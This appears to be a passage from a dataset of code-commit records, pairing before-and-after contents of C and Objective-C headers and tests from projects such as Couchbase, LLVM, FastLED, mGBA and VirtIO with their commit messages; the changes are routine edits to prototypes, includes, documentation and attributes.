{"commit":"f2ffa408d7ed974fd830c1804ea345955476ec87","old_file":"engines\/default_engine\/assoc.h","new_file":"engines\/default_engine\/assoc.h","old_contents":"#ifndef ASSOC_H\n#define ASSOC_H\n\nstruct assoc {\n   \/* how many powers of 2's worth of buckets we use *\/\n   unsigned int hashpower;\n\n\n   \/* Main hash table. This is where we look except during expansion. *\/\n   hash_item** primary_hashtable;\n\n   \/*\n    * Previous hash table. During expansion, we look here for keys that haven't\n    * been moved over to the primary yet.\n    *\/\n   hash_item** old_hashtable;\n\n   \/* Number of items in the hash table. *\/\n   unsigned int hash_items;\n\n   \/* Flag: Are we in the middle of expanding now? *\/\n   bool expanding;\n\n   \/*\n    * During expansion we migrate values with bucket granularity; this is how\n    * far we've gotten so far. Ranges from 0 .. hashsize(hashpower - 1) - 1.\n    *\/\n   unsigned int expand_bucket;\n\n\n   \/*\n    * serialise access to the hashtable\n    *\/\n   cb_mutex_t lock;\n};\n\n\/* associative array *\/\nENGINE_ERROR_CODE assoc_init(struct default_engine *engine);\nvoid assoc_destroy(void);\nhash_item *assoc_find(struct default_engine *engine, uint32_t hash,\n                      const hash_key* key);\nint assoc_insert(struct default_engine *engine, uint32_t hash,\n                 hash_item *item);\nvoid assoc_delete(struct default_engine *engine, uint32_t hash,\n                  const hash_key* key);\nint start_assoc_maintenance_thread(struct default_engine *engine);\nvoid stop_assoc_maintenance_thread(struct default_engine *engine);\n\n#endif\n","new_contents":"#ifndef ASSOC_H\n#define ASSOC_H\n\nstruct assoc {\n   \/* how many powers of 2's worth of buckets we use *\/\n   unsigned int hashpower;\n\n\n   \/* Main hash table. This is where we look except during expansion. *\/\n   hash_item** primary_hashtable;\n\n   \/*\n    * Previous hash table. During expansion, we look here for keys that haven't\n    * been moved over to the primary yet.\n    *\/\n   hash_item** old_hashtable;\n\n   \/* Number of items in the hash table. *\/\n   unsigned int hash_items;\n\n   \/* Flag: Are we in the middle of expanding now? *\/\n   bool expanding;\n\n   \/*\n    * During expansion we migrate values with bucket granularity; this is how\n    * far we've gotten so far. Ranges from 0 .. hashsize(hashpower - 1) - 1.\n    *\/\n   unsigned int expand_bucket;\n\n\n   \/*\n    * serialise access to the hashtable\n    *\/\n   cb_mutex_t lock;\n};\n\n\/* associative array *\/\nENGINE_ERROR_CODE assoc_init(struct default_engine *engine);\nvoid assoc_destroy(void);\nhash_item *assoc_find(struct default_engine *engine, uint32_t hash,\n                      const hash_key* key);\nint assoc_insert(struct default_engine *engine, uint32_t hash,\n                 hash_item *item);\nvoid assoc_delete(struct default_engine *engine, uint32_t hash,\n                  const hash_key* key);\n\n#endif\n","subject":"Remove prototypes for nonexistent functions","message":"Remove prototypes for nonexistent functions\n\nChange-Id: Ife8b66f32aa78159ea3cfdec17cbc5148d954f8d\nReviewed-on: http:\/\/review.couchbase.org\/80561\nTested-by: Build Bot <80754af91bfb6d1073585b046fe0a474ce868509@couchbase.com>\nReviewed-by: Jim Walker <1cd02e31b43620d7c664e038ca42a060d61727b9@couchbase.com>\n","lang":"C","license":"bsd-3-clause","repos":"daverigby\/kv_engine,daverigby\/kv_engine,daverigby\/kv_engine,daverigby\/kv_engine"}
{"commit":"b1014743b93468028fd578264d93896ac85932ee","old_file":"test\/FrontendC\/2009-05-17-AlwaysInline.c","new_file":"test\/FrontendC\/2009-05-17-AlwaysInline.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S %s -O0 -o - -mllvm --disable-llvm-optzns | grep bar\n\/\/ Check that the gcc inliner is turned off.\n\n#include <stdio.h>\nstatic __inline__ __attribute__ ((always_inline))\n     int bar (int x)\n{\n  return 4;\n}\n\nvoid\nfoo ()\n{\n  long long b = 1;\n  int Y = bar (4);\n  printf (\"%d\\n\", Y);\n}\n","subject":"Check that the gcc front-end is not doing inlining when not doing unit-at-a-time.","message":"Check that the gcc front-end is not doing inlining\nwhen not doing unit-at-a-time.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@71986 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"dslab-epfl\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,chubbymaggie\/asap"}
{"commit":"8d942517ca5d635a6510d1ebba97917b03eebb23","old_file":"src\/header\/NovelProcessTool.h","new_file":"src\/header\/NovelProcessTool.h","old_contents":"\/*\n * NovelProcessTool.h\n *\n *  Created on: 2015年2月19日\n *      Author: nemo\n *\/\n\n#ifndef SRC_NOVELPROCESSTOOL_H_\n#define SRC_NOVELPROCESSTOOL_H_\n\n#include <string>\n#include <fstream>\n#include <vector>\n\nusing namespace std;\n\nclass NovelProcessTool {\npublic:\n\tNovelProcessTool();\n\tvirtual ~NovelProcessTool();\n\nprotected:\n\n\t\/\/\/\t\tCheck the work directory.\n\tvoid checkWorkingDirectory();\n\n\t\/\/\/\t\tOpen in and out file.\n\tint fileOpen(string novelName);\n\n\t\/\/\/\t\tClose in and out files.\n\tvoid fileClosed();\n\n\t\/\/\/\t\tAnalysis the temp folder.\n\tvoid analysisFile();\n\n\tfstream \t\t_fileInStream;\t\t\/\/\/< The file input stream.\n\tfstream \t\t_fileOutStream;\t\t\/\/\/< The file out stream.\n\n\tstring\t\t\t_tempDir;\t\t\t\/\/\/< The temp folder directory path.\n\tstring\t\t\t_resultDir;\t\t\t\/\/\/< The result folder directory path.\n\n\tvector<string> \t_inputNovel;\t\t\/\/\/< The input file name.\n};\n\n#endif \/* SRC_NOVELPROCESSTOOL_H_ *\/\n","new_contents":"\/*\n * NovelProcessTool.h\n *\n *  Created on: 2015年2月19日\n *      Author: nemo\n *\/\n\n#ifndef SRC_NOVELPROCESSTOOL_H_\n#define SRC_NOVELPROCESSTOOL_H_\n\n#include <string>\n#include <fstream>\n#include <vector>\n\nusing namespace std;\n\nclass NovelProcessTool {\npublic:\n\tNovelProcessTool();\n\tvirtual ~NovelProcessTool();\n\nprotected:\n\n\t\/\/\/\t\tCheck the work directory.\n\tvoid checkWorkingDirectory();\n\n\t\/\/\/\t\tOpen in and out file.\n\tint fileOpen(string novelName);\n\n\t\/\/\/\t\tClose in and out files.\n\tvoid fileClosed();\n\n\t\/\/\/\t\tAnalysis the temp folder.\n\tvoid analysisFile();\n\n\t\/\/\/\t\tNovel tool action, implement in sub class.\n\tvirtual void parseContents() = 0;\n\n\tfstream \t\t_fileInStream;\t\t\/\/\/< The file input stream.\n\tfstream \t\t_fileOutStream;\t\t\/\/\/< The file out stream.\n\n\tstring\t\t\t_tempDir;\t\t\t\/\/\/< The temp folder directory path.\n\tstring\t\t\t_resultDir;\t\t\t\/\/\/< The result folder directory path.\n\n\tvector<string> \t_inputNovel;\t\t\/\/\/< The input file name.\n};\n\n#endif \/* SRC_NOVELPROCESSTOOL_H_ *\/\n","subject":"Modify void parseContents(0) as pure virtual function.","message":"Modify void parseContents(0) as pure virtual function.\n","lang":"C","license":"apache-2.0","repos":"NemoChenTW\/NovelProcessTools,NemoChenTW\/NovelProcessTools,NemoChenTW\/NovelProcessTools"}
{"commit":"1b32d0316ad790fdd178bca02f1af71c0ce15ef8","old_file":"platforms\/arm\/mxrt1062\/fastled_arm_mxrt1062.h","new_file":"platforms\/arm\/mxrt1062\/fastled_arm_mxrt1062.h","old_contents":"#ifndef __INC_FASTLED_ARM_MXRT1062_H\n#define __INC_FASTLED_ARM_MXRT1062_H\n\n#include \"fastpin_arm_mxrt1062.h\"\n#include \"fastspi_arm_mxrt1062.h\"\n#include \"clockless_arm_mxrt1062.h\"\n#include \"block_clockless_arm_mxrt1062.h\"\n\n#endif\n","new_contents":"#ifndef __INC_FASTLED_ARM_MXRT1062_H\n#define __INC_FASTLED_ARM_MXRT1062_H\n\n#include \"fastpin_arm_mxrt1062.h\"\n#include \"fastspi_arm_mxrt1062.h\"\n#include \"..\/k20\/octows2811_controller.h\"\n#include \"..\/k20\/ws2812serial_controller.h\"\n#include \"..\/k20\/smartmatrix_t3.h\"\n#include \"clockless_arm_mxrt1062.h\"\n#include \"block_clockless_arm_mxrt1062.h\"\n\n#endif\n","subject":"Support WS2812Serial Library on Teensy T4","message":"Support WS2812Serial Library on Teensy T4\n\nRecently there was reported that the WS2812Serial library (github.com\/PaulStoffregen\/WS2812Serial) was not ported over to work on the new Teensy T4, so I thought I would take a look.\n\nI added the T4 support, which is now pending in a Pull Request.  During that I also found that there were errors in one of the core header files for the T4, which I also fixed, which is now pending in another Pull Request (github.com\/PaulStoffregen\/Cores)\n\nAfter that was working, it was pointed out that the FastLED sample in the WS2812Serial librry did not compile. So...\n\nMore details in the forum Thread:\nhttps:\/\/forum.pjrc.com\/threads\/58442-Non-Blocking-WS2812-LED-Library-and-Teensy-4-0\n","lang":"C","license":"mit","repos":"FastLED\/FastLED,PaulStoffregen\/FastLED,PaulStoffregen\/FastLED,FastLED\/FastLED,FastLED\/FastLED,FastLED\/FastLED,PaulStoffregen\/FastLED"}
{"commit":"c539b7d9bb3e40f7ac69d44771f56476c953629d","old_file":"Pod\/Classes\/Foundation\/runtime\/NSObject+ASPropertyAttributes.h","new_file":"Pod\/Classes\/Foundation\/runtime\/NSObject+ASPropertyAttributes.h","old_contents":"\/\/\n\/\/  NSObject+ASPropertyAttributes.h\n\/\/  AppScaffold Cocoa Category\n\/\/\n\/\/  Created by Whirlwind on 15\/4\/3.\n\/\/  Copyright (c) 2015年 AppScaffold. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#if __has_include(\"EXTRuntimeExtensions.h\")\n\/\/ This category need pod 'libextobjc'\n\n#import \"EXTRuntimeExtensions.h\"\n\n@interface NSObject (PropertyAttributes)\n\n+ (ext_propertyAttributes *)copyPropertyAttributesByName:(NSString *)name;\n\n@end\n\n#endif\n","new_contents":"\/\/\n\/\/  NSObject+ASPropertyAttributes.h\n\/\/  AppScaffold Cocoa Category\n\/\/\n\/\/  Created by Whirlwind on 15\/4\/3.\n\/\/  Copyright (c) 2015年 AppScaffold. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#if __has_include(<libextobjc\/EXTRuntimeExtensions.h>)\n\/\/ This category need pod 'libextobjc'\n\n#import <libextobjc\/EXTRuntimeExtensions.h>\n\n@interface NSObject (PropertyAttributes)\n\n+ (ext_propertyAttributes *)copyPropertyAttributesByName:(NSString *)name;\n\n@end\n\n#endif\n","subject":"Fix check the libextobjc when it is framework","message":"Fix check the libextobjc when it is framework\n","lang":"C","license":"mit","repos":"AppScaffold\/ASCocoaCategory,AppScaffold\/ASCocoaCategory,Whirlwind\/ASCocoaCategory,Whirlwind\/ASCocoaCategory,Whirlwind\/ASCocoaCategory,AppScaffold\/ASCocoaCategory"}
{"commit":"6e96905b97bbb3c154a15e90b3dc3d118db7c96e","old_file":"src\/OI.h","new_file":"src\/OI.h","old_contents":"#ifndef OI_H\n#define OI_H\n\n#include \"WPILib.h\"\n#include \"RobotMap.h\"\n#include <math.h>\n\nclass OI\n{\nprivate:\n\tJoystick joystick;\n\npublic:\n\tOI();\n\tinline float GetXplusY(){\n\t\tfloat val;\n\t\tval = FractionOmitted(joystick.GetY() + joystick.GetX());\n\t\tif(val > 1.2) val = 1.2;\n\t\tif(val < -1.2) val = -1.2;\n\t\treturn val;\n\t}\n\tinline float GetXminusY(){\n\t\tfloat val;\n\t\tval = FractionOmitted(joystick.GetY() - joystick.GetX());\n\t\tif(val > 1.2) val = 1.2;\n\t\tif(val < -1.2) val = -1.2;\n\t\treturn val;\n\t}\n\n\n\tinline float GetStickX(){ return FractionOmitted(joystick.GetX()); }\n\tinline float GetStickY(){ return FractionOmitted(joystick.GetY()); }\n\tinline float GetStickTwist(){ return FractionOmitted(joystick.GetTwist()); }\n\tinline float GetStickThrottle(){ return FractionOmitted(joystick.GetThrottle()); }\n\n\tinline float FractionOmitted(float original){\n\t\tif(fabsf(original) < 0.01 ){\n\t\t\toriginal = 0;\n\t\t}\n\t\treturn original;\n\t}\n};\n\n#endif\n","new_contents":"#ifndef OI_H\n#define OI_H\n\n#include \"WPILib.h\"\n#include \"RobotMap.h\"\n#include <math.h>\n\nclass OI\n{\nprivate:\n\tJoystick joystick;\n\npublic:\n\tOI();\n\tinline float GetXplusY(){\n\t\tfloat val;\n\t\tval = FractionOmitted(joystick.GetY() + joystick.GetX());\n\t\tif(val > 1.2) val = 1.2;\n\t\tif(val < -1.2) val = -1.2;\n\t\treturn val;\n\t}\n\tinline float GetXminusY(){\n\t\tfloat val;\n\t\tval = FractionOmitted(joystick.GetY() - joystick.GetX());\n\t\tif(val > 1.2) val = 1.2;\n\t\tif(val < -1.2) val = -1.2;\n\t\treturn val;\n\t}\n\n\n\tinline float GetStickX(){ return FractionOmitted(joystick.GetX()); }\n\tinline float GetStickY(){ return FractionOmitted(joystick.GetY()); }\n\tinline float GetStickTwist(){ return FractionOmitted(joystick.GetTwist()); }\n\tinline float GetStickThrottle(){ return FractionOmitted(joystick.GetThrottle()); }\n\tinline float GetStickRightX(){ return FractionOmitted(joystick.GetRawAxis(5)); }\n\tinline float GetStcikRightY(){ return FractionOmitted(joystick.GetRawAxis(6)); }\n\n\tinline float FractionOmitted(float original){\n\t\tif(fabsf(original) < 0.01 ){\n\t\t\toriginal = 0;\n\t\t}\n\t\treturn original;\n\t}\n};\n\n#endif\n","subject":"Create RightStick X and Y value get Function","message":"Create RightStick X and Y value get Function","lang":"C","license":"epl-1.0","repos":"tokyotechnicalsamurai\/shougun"}
{"commit":"30fa9d8675adbc9f0bb147949a77016f6e9ce11b","old_file":"src\/platform\/sdl\/sdl-events.h","new_file":"src\/platform\/sdl\/sdl-events.h","old_contents":"#ifndef SDL_EVENTS_H\n#define SDL_EVENTS_H\n\n#include \"common.h\"\n\n#include \"gba-thread.h\"\n\n#include <SDL.h>\n\n#define SDL_BINDING_KEY 0x53444C4B\n#define SDL_BINDING_BUTTON 0x53444C42\n\nstruct GBAVideoSoftwareRenderer;\n\nstruct GBASDLEvents {\n\tstruct GBAInputMap* bindings;\n\tSDL_Joystick* joystick;\n#if SDL_VERSION_ATLEAST(2, 0, 0)\n\tSDL_Window* window;\n\tint fullscreen;\n\tint windowUpdated;\n#endif\n};\n\nbool GBASDLInitEvents(struct GBASDLEvents*);\nvoid GBASDLDeinitEvents(struct GBASDLEvents*);\n\nvoid GBASDLHandleEvent(struct GBAThread* context, struct GBASDLEvents* sdlContext, const union SDL_Event* event);\n\nenum GBAKey GBASDLMapButtonToKey(int button);\n\n#endif\n","new_contents":"#ifndef SDL_EVENTS_H\n#define SDL_EVENTS_H\n\n#include \"common.h\"\n\n#include \"gba-thread.h\"\n\n#include <SDL.h>\n\n#define SDL_BINDING_KEY 0x53444C4B\n#define SDL_BINDING_BUTTON 0x53444C42\n\nstruct GBAVideoSoftwareRenderer;\n\nstruct GBASDLEvents {\n\tstruct GBAInputMap* bindings;\n\tSDL_Joystick* joystick;\n#if SDL_VERSION_ATLEAST(2, 0, 0)\n\tSDL_Window* window;\n\tint fullscreen;\n\tint windowUpdated;\n#endif\n};\n\nbool GBASDLInitEvents(struct GBASDLEvents*);\nvoid GBASDLDeinitEvents(struct GBASDLEvents*);\n\nvoid GBASDLHandleEvent(struct GBAThread* context, struct GBASDLEvents* sdlContext, const union SDL_Event* event);\n\n#endif\n","subject":"Remove prototype for removed function","message":"Remove prototype for removed function\n","lang":"C","license":"mpl-2.0","repos":"Anty-Lemon\/mgba,Anty-Lemon\/mgba,sergiobenrocha2\/mgba,iracigt\/mgba,iracigt\/mgba,sergiobenrocha2\/mgba,bentley\/mgba,jeremyherbert\/mgba,jeremyherbert\/mgba,libretro\/mgba,fr500\/mgba,sergiobenrocha2\/mgba,iracigt\/mgba,MerryMage\/mgba,Iniquitatis\/mgba,Anty-Lemon\/mgba,mgba-emu\/mgba,jeremyherbert\/mgba,matthewbauer\/mgba,mgba-emu\/mgba,Touched\/mgba,askotx\/mgba,bentley\/mgba,libretro\/mgba,MerryMage\/mgba,AdmiralCurtiss\/mgba,mgba-emu\/mgba,fr500\/mgba,nattthebear\/mgba,AdmiralCurtiss\/mgba,askotx\/mgba,Iniquitatis\/mgba,Iniquitatis\/mgba,cassos\/mgba,cassos\/mgba,zerofalcon\/mgba,zerofalcon\/mgba,sergiobenrocha2\/mgba,askotx\/mgba,matthewbauer\/mgba,libretro\/mgba,libretro\/mgba,fr500\/mgba,iracigt\/mgba,askotx\/mgba,libretro\/mgba,zerofalcon\/mgba,Touched\/mgba,Anty-Lemon\/mgba,mgba-emu\/mgba,AdmiralCurtiss\/mgba,nattthebear\/mgba,jeremyherbert\/mgba,Iniquitatis\/mgba,cassos\/mgba,fr500\/mgba,sergiobenrocha2\/mgba,Touched\/mgba,MerryMage\/mgba"}
{"commit":"53f7a342568c675b686f817f2a11392e486d2e8d","old_file":"test\/CodeGen\/builtins-arm64.c","new_file":"test\/CodeGen\/builtins-arm64.c","old_contents":"\/\/ RUN: %clang_cc1 -triple arm64-apple-ios -O3 -emit-llvm -o - %s | FileCheck %s\n\nvoid f0(void *a, void *b) {\n\t__clear_cache(a,b);\n\/\/ CHECK: call {{.*}} @__clear_cache\n}\n\n\/\/ CHECK: call {{.*}} @llvm.aarch64.rbit.i32(i32 %a)\nvoid rbit(unsigned a) {\n  __builtin_arm_rbit(a);\n}\n\n\/\/ CHECK: call {{.*}} @llvm.aarch64.rbit.i64(i64 %a)\nvoid rbit64(unsigned long long a) {\n  __builtin_arm_rbit64(a);\n}\n","new_contents":"\/\/ RUN: %clang_cc1 -triple arm64-apple-ios -O3 -emit-llvm -o - %s | FileCheck %s\n\nvoid f0(void *a, void *b) {\n\t__clear_cache(a,b);\n\/\/ CHECK: call {{.*}} @__clear_cache\n}\n\n\/\/ CHECK: call {{.*}} @llvm.aarch64.rbit.i32(i32 %a)\nunsigned rbit(unsigned a) {\n  return __builtin_arm_rbit(a);\n}\n\n\/\/ CHECK: call {{.*}} @llvm.aarch64.rbit.i64(i64 %a)\nunsigned long long rbit64(unsigned long long a) {\n  return __builtin_arm_rbit64(a);\n}\n","subject":"Fix silly think-o in tests.","message":"AArch64: Fix silly think-o in tests.\n\nrdar:\/\/9283021\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@211064 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"58b154cf4aca7c4ad12f066496dade85fe58cbec","old_file":"exec\/cnex\/util.h","new_file":"exec\/cnex\/util.h","old_contents":"#ifndef UTIL_H\n#define UTIL_H\n\n#define estr(x)     #x\n#define ENUM(x)     estr(x)\n\nvoid exec_error(const char *msg, ...);\nvoid fatal_error(const char *msg, ...);\n\ntypedef enum { FALSE, TRUE } BOOL;\n\n#endif\n","new_contents":"#ifndef UTIL_H\n#define UTIL_H\n\n#define estr(x)     #x\n#define ENUM(x)     estr(x)\n\nvoid exec_error(const char *msg, ...);\n\n#ifdef _MSC_VER\n__declspec(noreturn)\n#endif\nvoid fatal_error(const char *msg, ...)\n#ifdef __GNUC__\n__attribute__((noreturn))\n#endif\n;\n\ntypedef enum { FALSE, TRUE } BOOL;\n\n#endif\n","subject":"Add noreturn attribute to fatal_error","message":"Add noreturn attribute to fatal_error\n","lang":"C","license":"mit","repos":"gitlarryf\/neon-lang,ghewgill\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,ghewgill\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,ghewgill\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,ghewgill\/neon-lang,gitlarryf\/neon-lang,gitlarryf\/neon-lang,gitlarryf\/neon-lang"}
{"commit":"ad7c868c0515e2e8f67cb56c610a6341a258299d","old_file":"Ch4-Linked-Lists\/linked-lists.c","new_file":"Ch4-Linked-Lists\/linked-lists.c","old_contents":"\/*\n * PROBLEM\n * Discuss the stack data structure. Implement a stack in C using either a linked list or a dynamic array, and justify your decision.\n * Design the interface to your stack to be complete, consistent, and easy to use.\n *\/\n\n#include <stdio.h>\n#include <stdbool.h>\n#include <stdlib.h>\n\ntypedef struct Element {\n    struct Element *next;\n    void *data;\n} Element;\n\nbool push (Element **stack, void *data){\n    Element *elem = malloc(sizeof(Element));\n    if (!elem) return false;\n    elem->data = data;\n    elem->next = *stack;\n    *stack = elem;\n    return true;\n}\n\nbool pop( Element **stack, void **data ) {\n    Element *elem;\n    if (!(elem=*stack)) return false;\n    *data = elem->data;\n    *stack = elem->next;\n    free(elem);\n    return true;\n}\n\nbool createStack( Element **stack ) {\n    *stack = NULL;\n    return true;\n}\n\nbool deleteStack ( Element **stack ){\n    Element *next;\n    while ( *stack ) {\n        next = (*stack)->next;\n        free (*stack);\n        *stack = next;\n    }\n    return true;\n}\n\nvoid main() {\n}\n","new_contents":"#include <stdio.h>\n#include <stdbool.h>\n#include <stdlib.h>\n\ntypedef struct Element {\n    struct Element *next;\n    void *data;\n} Element;\n\n\/*\n * PROBLEM\n * Discuss the stack data structure. Implement a stack in C using either a linked list or a dynamic array, and justify your decision.\n * Design the interface to your stack to be complete, consistent, and easy to use.\n * \n * The solution contains the following push, pop, createStack, and deleteStack functions.\n *\/\nbool push (Element **stack, void *data){\n    Element *elem = malloc(sizeof(Element));\n    if (!elem) return false;\n    elem->data = data;\n    elem->next = *stack;\n    *stack = elem;\n    return true;\n}\n\nbool pop( Element **stack, void **data ) {\n    Element *elem;\n    if (!(elem=*stack)) return false;\n    *data = elem->data;\n    *stack = elem->next;\n    free(elem);\n    return true;\n}\n\nbool createStack( Element **stack ) {\n    *stack = NULL;\n    return true;\n}\n\nbool deleteStack ( Element **stack ){\n    Element *next;\n    while ( *stack ) {\n        next = (*stack)->next;\n        free (*stack);\n        *stack = next;\n    }\n    return true;\n}\n\n\/* \n * PROBLEM\n * Find and fix the bugs in the following C function that is supposed to remove the head element from a singly linked list:\n * void removeHead (ListElement *head) {\n *   free(head); \/\/ Line 1\n *   head = head->next; \/\/ Line 2\n * }\n *\/\nvoid removeHead (Element **head) {\n    Element *temp;\n    if (head && *head) {\n        temp = (*head)->next;\n        free (*head);\n        *head = temp;\n    }\n}\n\nvoid main() {\n}\n","subject":"Add the problem of 'Bugs in removeHead'.","message":"Add the problem of 'Bugs in removeHead'.","lang":"C","license":"unlicense","repos":"Conan1985\/Programming-Interviews-Exposed,Conan1985\/Programming-Interviews-Exposed,Conan1985\/Programming-Interviews-Exposed"}
{"commit":"acc3cc239e62e1eb084cdc48cac8dd524a446abd","old_file":"MCGraylog\/MCGraylog\/MCGraylog.h","new_file":"MCGraylog\/MCGraylog\/MCGraylog.h","old_contents":"\/\/\n\/\/  MCGraylog.h\n\/\/  MCGraylog\n\/\/\n\/\/  Created by Jordan on 2013-05-06.\n\/\/  Copyright (c) 2013 Marketcircle. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef enum {\n    GraylogLogLevelEmergency = 0,\n    GraylogLogLevelAlert = 1,\n    GraylogLogLevelCritical = 2,\n    GraylogLogLevelError = 3,\n    GraylogLogLevelWarning = 4,\n    GraylogLogLevelNotice = 5,\n    GraylogLogLevelInformational = 6,\n    GraylogLogLevelDebug = 7\n} GraylogLogLevel;\n\n\/**\n * Perform some up front work needed for all future log messages\n *\n * @return 0 on success, otherwise -1.\n *\/\nint graylog_init(const char* address, const char* port);\n\nvoid graylog_log(GraylogLogLevel lvl,\n                 const char* facility,\n                 const char* msg,\n                 NSDictionary *data);\n\n\n","new_contents":"\/\/\n\/\/  MCGraylog.h\n\/\/  MCGraylog\n\/\/\n\/\/  Created by Jordan on 2013-05-06.\n\/\/  Copyright (c) 2013 Marketcircle. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef enum {\n    GraylogLogLevelEmergency = 0,\n    GraylogLogLevelAlert = 1,\n    GraylogLogLevelCritical = 2,\n    GraylogLogLevelError = 3,\n    GraylogLogLevelWarning = 4,\n    GraylogLogLevelNotice = 5,\n    GraylogLogLevelInformational = 6,\n    GraylogLogLevelDebug = 7\n} GraylogLogLevel;\n\n\/**\n * Perform some up front work needed for all future log messages\n *\n * @return 0 on success, otherwise -1.\n *\/\nint graylog_init(const char* address, const char* port);\n\n\/**\n * Log a message to the Graylog server (or some other compatible service).\n *\n * @param lvl Log level, the severity of the message\n * @param facility Arbitrary string indicating the subsystem the message came\n *                 from (i.e. sync, persistence, etc.)\n * @param msg The actual log message\n * @param data Any additional information that might be useful that is JSON\n *             serializable (e.g. numbers, strings, arrays, dictionaries)\n *\/\nvoid graylog_log(GraylogLogLevel lvl,\n                 const char* facility,\n                 const char* msg,\n                 NSDictionary* data);\n\n\n","subject":"Add some basic documentation for graylog_log","message":"Add some basic documentation for graylog_log","lang":"C","license":"bsd-3-clause","repos":"Marketcircle\/MCGraylog"}
{"commit":"bccbfb90b9680854a0656054582ced13683f3abd","old_file":"VirtIO\/osdep.h","new_file":"VirtIO\/osdep.h","old_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Copyright (c) 2007  Qumranet All Rights Reserved\n\/\/\n\/\/ Module Name:\n\/\/ osdep.h\n\/\/\n\/\/ Abstract:\n\/\/ Windows OS dependent definitions of data types\n\/\/\n\/\/ Author:\n\/\/ Yan Vugenfirer  - February 2007.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#if defined(IGNORE_VIRTIO_OSDEP_H)\n\/\/ to make simulation environment easy\n#include \"external_os_dep.h\"\n#else\n\n#ifndef __OS_DEP_H\n#define __OS_DEP_H\n\n#include <ntddk.h>\n\n#define ktime_t ULONGLONG\n#define ktime_get() KeQueryPerformanceCounter(NULL).QuadPart\n\n#define likely(x) x\n#define unlikely(x) x\n\n#define ENOSPC 1\n#define BUG_ON(a) ASSERT(!(a))\n#define WARN_ON(a)\n#define BUG() ASSERT(0)\n\n#if !defined(__cplusplus) && !defined(bool)\n#define bool int\n#define false FALSE\n#define true TRUE\n#endif\n\n#define inline __forceinline\n\n#ifdef DBG\n#define DEBUG\n#endif\n\n#define mb()   KeMemoryBarrier()\n#define rmb()  KeMemoryBarrier()\n#define wmb()  KeMemoryBarrier()\n\n#define SMP_CACHE_BYTES 64\n\n#endif\n#endif\n","new_contents":"\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Copyright (c) 2007  Qumranet All Rights Reserved\n\/\/\n\/\/ Module Name:\n\/\/ osdep.h\n\/\/\n\/\/ Abstract:\n\/\/ Windows OS dependent definitions of data types\n\/\/\n\/\/ Author:\n\/\/ Yan Vugenfirer  - February 2007.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#if defined(IGNORE_VIRTIO_OSDEP_H)\n\/\/ to make simulation environment easy\n#include \"external_os_dep.h\"\n#else\n\n#ifndef __OS_DEP_H\n#define __OS_DEP_H\n\n#include <ntddk.h>\n\n#define ktime_t ULONGLONG\n#define ktime_get() KeQueryPerformanceCounter(NULL).QuadPart\n\n#define likely(x) x\n#define unlikely(x) x\n\n#define ENOSPC 1\n#define 